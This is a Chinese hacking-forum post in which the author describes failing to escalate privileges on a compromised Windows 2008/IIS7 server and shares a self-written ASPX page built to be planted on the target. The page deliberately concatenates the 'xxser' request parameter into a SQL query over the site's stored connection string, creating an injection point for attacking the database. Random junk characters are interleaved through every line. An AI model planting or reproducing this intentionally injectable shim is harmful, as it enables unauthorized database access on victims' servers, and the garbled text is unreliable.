昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
4 o! H( O4 S. Z7 d$ l$ e z; C其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。6 e1 e; m8 I! R. l- ~* F
代码量不多,自己写个拉倒了。烦死了。$ S9 t9 K) N+ T& n
, X% H' e% T R/ o7 a
# k2 A6 O, l1 q- U$ @1 h<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
* y3 y, O. ?% [* A<html xmlns="http://www.w3.org/1999/xhtml">; [* r( n- j. z2 c3 ^1 }3 W
<head runat="server">% ~! [2 f8 o, K; |
<title>暗影aspx构造注射专用页面</title>+ {, Q( ?& u* r) U! o8 k+ c" B0 N
</head>! p7 f+ S# ]5 B* P7 I% Q5 y8 K
<body>
: c) |8 K$ x' }& | <form id="form1" runat="server">( b( ^0 [6 F1 Q& G! ~ l- ~
<div>
8 D4 R, c7 E2 Z; j' _. m <script language="c#" runat="server">5 }3 \) j6 I! A+ v4 x
% ^6 E( E% p. d' K- c
void page_init(object sender, EventArgs e)9 r+ K8 I' Y0 W3 S: h2 L7 {! U- X
{
' Y& ?2 @! E* n$ _4 [+ I0 S
" d" K' M7 q5 L: S; d System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();8 D8 Z& i: g6 t6 ~7 \
. y- N' ?/ W# @0 P7 T
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();; |5 q3 @. J4 a: `4 m/ J
conn.Open();/ g$ l) P1 V# S# m1 q8 }( S
8 |5 @+ s# R: G! a
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
, y6 u2 {7 E) t% r+ Z . U k7 x6 Z- T G0 ]+ M# a1 H+ W
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);2 U0 Y# z, J* V
int x = command.ExecuteNonQuery();1 L$ l0 z, U, x4 q
Response.Write(i+"\n");( f* i# T1 x7 k& _
Response.Write(x);; e* i. k2 M3 T5 `4 z
conn.Close();' U* ~# L. ]# Q1 Y& O0 j
}
5 o' r; p% ~" w% f* s
: h3 ~6 Z& I0 N9 ~ </script>5 {5 q8 r1 O+ P- ]6 Q
</div>
, r" y; q% F d* \3 W0 M" K6 I' I, d </form>5 Y0 z3 @: g) p" o
</body>
+ O/ ~: ]/ F. i& t& T</html>0 n5 r ]; Z8 @- H+ n5 t
|